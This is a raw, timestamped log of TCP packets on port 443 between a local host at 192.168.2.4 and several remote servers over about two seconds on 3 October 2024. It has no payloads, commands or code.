Oct 3, 2024 10:41:52.353112936 CEST	50120	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:52.353118896 CEST	443	50122	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.353183031 CEST	443	50120	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.353713989 CEST	50126	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:52.353792906 CEST	443	50126	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.354406118 CEST	50123	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.354531050 CEST	443	50123	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.354582071 CEST	50121	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:52.354686975 CEST	443	50121	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:52.356245041 CEST	50122	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.356264114 CEST	50120	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:52.356266975 CEST	443	50122	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.356276989 CEST	443	50120	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.356340885 CEST	50126	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:52.356498003 CEST	50123	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.356512070 CEST	443	50123	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.356581926 CEST	50121	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:52.356590986 CEST	443	50121	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:52.358108044 CEST	50116	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:52.358122110 CEST	443	50116	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:52.358633041 CEST	50113	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:52.358649969 CEST	443	50113	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.365360022 CEST	50115	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:52.365371943 CEST	443	50115	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:52.366235971 CEST	50131	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.366308928 CEST	443	50131	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.369050026 CEST	50131	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.369050026 CEST	50131	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.369124889 CEST	443	50131	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.394054890 CEST	443	50127	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.394325018 CEST	50127	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.394341946 CEST	443	50127	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.394834042 CEST	443	50127	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.395421982 CEST	50127	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.395519972 CEST	443	50127	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.395610094 CEST	50127	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.395648956 CEST	443	50127	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.399400949 CEST	443	50126	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.409897089 CEST	50122	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.409909964 CEST	50120	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:52.438066959 CEST	50132	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:52.438113928 CEST	443	50132	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:52.438174963 CEST	50132	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:52.438381910 CEST	50132	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:52.438395977 CEST	443	50132	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:52.440148115 CEST	50121	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:52.440222025 CEST	50123	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.480819941 CEST	443	50121	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:52.481441021 CEST	443	50121	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:52.481525898 CEST	50121	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:52.481672049 CEST	50121	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:52.481687069 CEST	443	50121	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:52.497183084 CEST	50134	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:52.497222900 CEST	443	50134	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:52.497425079 CEST	50134	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:52.498249054 CEST	50134	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:52.498259068 CEST	443	50134	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:52.557809114 CEST	443	50120	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.557878017 CEST	443	50120	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.557915926 CEST	443	50128	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:52.557941914 CEST	50120	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:52.558758020 CEST	50128	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:52.558768034 CEST	443	50128	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:52.559099913 CEST	443	50128	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:52.560587883 CEST	443	50123	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.560655117 CEST	443	50123	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.560724974 CEST	50123	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.561774969 CEST	50128	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:52.561847925 CEST	443	50128	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:52.562124968 CEST	50123	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.562141895 CEST	443	50123	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.563134909 CEST	50128	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:52.563898087 CEST	50120	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:52.563908100 CEST	443	50120	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.564640999 CEST	50135	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:52.564672947 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:52.564735889 CEST	50135	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:52.565030098 CEST	50135	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:52.565046072 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:52.568269968 CEST	50136	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:52.568298101 CEST	443	50136	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:52.568348885 CEST	50136	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:52.568695068 CEST	50136	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:52.568707943 CEST	443	50136	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:52.603409052 CEST	443	50128	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:52.609050989 CEST	443	50127	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.609137058 CEST	443	50127	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.609177113 CEST	50127	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.609641075 CEST	50127	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.609656096 CEST	443	50127	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.613871098 CEST	50138	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:52.613915920 CEST	443	50138	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:52.614094019 CEST	50138	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:52.614185095 CEST	50138	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:52.614200115 CEST	443	50138	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:52.619818926 CEST	443	50129	192.28.144.124	192.168.2.4
Oct 3, 2024 10:41:52.620188951 CEST	50129	443	192.168.2.4	192.28.144.124
Oct 3, 2024 10:41:52.620202065 CEST	443	50129	192.28.144.124	192.168.2.4
Oct 3, 2024 10:41:52.621284008 CEST	443	50129	192.28.144.124	192.168.2.4
Oct 3, 2024 10:41:52.622308016 CEST	50129	443	192.168.2.4	192.28.144.124
Oct 3, 2024 10:41:52.622308016 CEST	50129	443	192.168.2.4	192.28.144.124
Oct 3, 2024 10:41:52.622373104 CEST	443	50129	192.28.144.124	192.168.2.4
Oct 3, 2024 10:41:52.622718096 CEST	50129	443	192.168.2.4	192.28.144.124
Oct 3, 2024 10:41:52.622723103 CEST	443	50129	192.28.144.124	192.168.2.4
Oct 3, 2024 10:41:52.646348953 CEST	443	50122	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.646436930 CEST	443	50122	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.646538973 CEST	50122	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.653493881 CEST	50122	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.653512955 CEST	443	50122	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.664092064 CEST	50141	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:52.664113998 CEST	443	50141	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:52.664177895 CEST	50141	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:52.664752960 CEST	50141	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:52.664777994 CEST	443	50141	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:52.668036938 CEST	50129	443	192.168.2.4	192.28.144.124
Oct 3, 2024 10:41:52.721101046 CEST	443	50126	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.721263885 CEST	443	50126	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.721322060 CEST	50126	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:52.721333981 CEST	443	50126	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.721513987 CEST	443	50126	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.721570969 CEST	50126	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:52.721581936 CEST	443	50126	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.721704006 CEST	443	50126	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.721752882 CEST	50126	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:52.722587109 CEST	50126	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:52.722598076 CEST	443	50126	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.722606897 CEST	50126	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:52.722642899 CEST	50126	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:52.724071980 CEST	443	50129	192.28.144.124	192.168.2.4
Oct 3, 2024 10:41:52.724277973 CEST	443	50129	192.28.144.124	192.168.2.4
Oct 3, 2024 10:41:52.724332094 CEST	50129	443	192.168.2.4	192.28.144.124
Oct 3, 2024 10:41:52.724407911 CEST	50129	443	192.168.2.4	192.28.144.124
Oct 3, 2024 10:41:52.724426031 CEST	443	50129	192.28.144.124	192.168.2.4
Oct 3, 2024 10:41:52.848956108 CEST	443	50128	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:52.849035025 CEST	443	50128	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:52.849083900 CEST	50128	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:52.849499941 CEST	50128	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:52.849519968 CEST	443	50128	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:52.998141050 CEST	443	50131	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.999305964 CEST	50131	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.999325991 CEST	443	50131	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.999752045 CEST	443	50131	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:53.000191927 CEST	50131	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:53.000263929 CEST	443	50131	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:53.000515938 CEST	50131	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:53.000551939 CEST	443	50131	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:53.065818071 CEST	443	50132	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.066159010 CEST	50132	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.066179991 CEST	443	50132	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.067078114 CEST	443	50132	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.067565918 CEST	50132	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.067668915 CEST	443	50132	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.067801952 CEST	50132	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.115405083 CEST	443	50132	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.144418955 CEST	443	50134	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:53.144676924 CEST	50134	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:53.144690037 CEST	443	50134	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:53.145699978 CEST	443	50134	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:53.145756960 CEST	50134	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:53.146198988 CEST	50134	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:53.146261930 CEST	443	50134	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:53.146342039 CEST	50134	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:53.146349907 CEST	443	50134	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:53.206959963 CEST	443	50131	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:53.207168102 CEST	443	50131	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:53.207228899 CEST	50131	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:53.208036900 CEST	50131	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:53.208055973 CEST	443	50131	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:53.210362911 CEST	50144	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:53.210413933 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:53.210477114 CEST	50144	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:53.210740089 CEST	50144	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:53.210757017 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:53.212809086 CEST	50145	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.212837934 CEST	443	50145	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.213002920 CEST	50145	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.213119030 CEST	50145	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.213129044 CEST	443	50145	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.215133905 CEST	443	50136	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.215353966 CEST	50136	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.215375900 CEST	443	50136	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.215742111 CEST	443	50136	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.216145039 CEST	50136	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.216207027 CEST	443	50136	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.216269970 CEST	50136	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.219616890 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:53.219917059 CEST	50135	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:53.219934940 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:53.220298052 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:53.220905066 CEST	50135	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:53.220978022 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:53.221048117 CEST	50135	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:53.236107111 CEST	50134	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:53.262077093 CEST	443	50138	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.262341022 CEST	50138	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.262361050 CEST	443	50138	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.263412952 CEST	443	50136	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.263586044 CEST	443	50134	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:53.263667107 CEST	443	50134	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:53.263672113 CEST	443	50138	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.263717890 CEST	50134	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:53.263739109 CEST	50138	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.264612913 CEST	50138	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.264740944 CEST	50134	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:53.264753103 CEST	443	50134	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:53.264763117 CEST	443	50138	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.265273094 CEST	50138	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.265280008 CEST	443	50138	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.267410994 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:53.306354046 CEST	50138	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.310295105 CEST	443	50141	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.310678005 CEST	50141	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.310703993 CEST	443	50141	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.311758041 CEST	443	50141	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.311816931 CEST	50141	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.312184095 CEST	50141	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.312257051 CEST	443	50141	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.312572002 CEST	50141	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.312581062 CEST	443	50141	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.323304892 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:53.323339939 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:53.323359013 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:53.323421001 CEST	50135	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:53.323440075 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:53.323453903 CEST	50135	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:53.323486090 CEST	50135	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:53.353410006 CEST	443	50132	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.353625059 CEST	443	50132	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.353677034 CEST	50132	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.354645014 CEST	50132	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.354661942 CEST	443	50132	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.410373926 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:53.410401106 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:53.410458088 CEST	50135	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:53.410474062 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:53.410499096 CEST	50135	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:53.410521030 CEST	50135	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:53.412072897 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:53.412089109 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:53.412161112 CEST	50135	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:53.412168026 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:53.412213087 CEST	50135	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:53.440239906 CEST	50141	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.470823050 CEST	443	50138	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.471115112 CEST	443	50138	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.471187115 CEST	50138	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.471910000 CEST	50138	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.471926928 CEST	443	50138	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.498404026 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:53.498431921 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:53.498476982 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:53.498483896 CEST	50135	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:53.498496056 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:53.498537064 CEST	50135	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:53.498577118 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:53.498903990 CEST	50135	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:53.498912096 CEST	443	50135	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:53.498923063 CEST	50135	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:53.503664970 CEST	50146	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:53.503709078 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:53.504276991 CEST	50146	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:53.504276991 CEST	50146	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:53.504309893 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:53.512161970 CEST	443	50136	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.512269020 CEST	443	50136	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.512902021 CEST	50136	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.513261080 CEST	50136	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.513282061 CEST	443	50136	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.602401972 CEST	443	50141	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.602489948 CEST	443	50141	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.602632046 CEST	50141	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.603594065 CEST	50141	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.603612900 CEST	443	50141	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.847526073 CEST	443	50145	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.847759962 CEST	50145	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.847786903 CEST	443	50145	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.848145008 CEST	443	50145	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.848433018 CEST	50145	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.848500967 CEST	443	50145	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.848613024 CEST	50145	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:53.848721981 CEST	443	50145	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:53.936914921 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:53.937477112 CEST	50144	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:53.937495947 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:53.937876940 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:53.939163923 CEST	50144	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:53.939234972 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:53.939357996 CEST	50144	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:53.983407021 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.056905031 CEST	443	50145	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:54.057322979 CEST	443	50145	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:54.057391882 CEST	50145	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:54.057744980 CEST	50145	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:54.057763100 CEST	443	50145	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:54.143143892 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.143501043 CEST	50146	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:54.143522978 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.144162893 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.144732952 CEST	50146	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:54.144906044 CEST	50146	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:54.144917965 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.212882042 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.222701073 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.222728014 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.222814083 CEST	50144	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:54.222848892 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.222872019 CEST	50144	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:54.222914934 CEST	50144	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:54.240569115 CEST	50146	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:54.244479895 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.244514942 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.244524956 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.244559050 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.244573116 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.244585037 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.244601011 CEST	50146	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:54.244609118 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.244666100 CEST	50146	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:54.303809881 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.303838968 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.303946018 CEST	50144	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:54.303972006 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.308940887 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.308964968 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.309015036 CEST	50144	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:54.309035063 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.309070110 CEST	50144	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:54.311991930 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.312112093 CEST	50144	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:54.312136889 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.329811096 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.329822063 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.329866886 CEST	443	50146	13.107.246.60	192.168.2.4
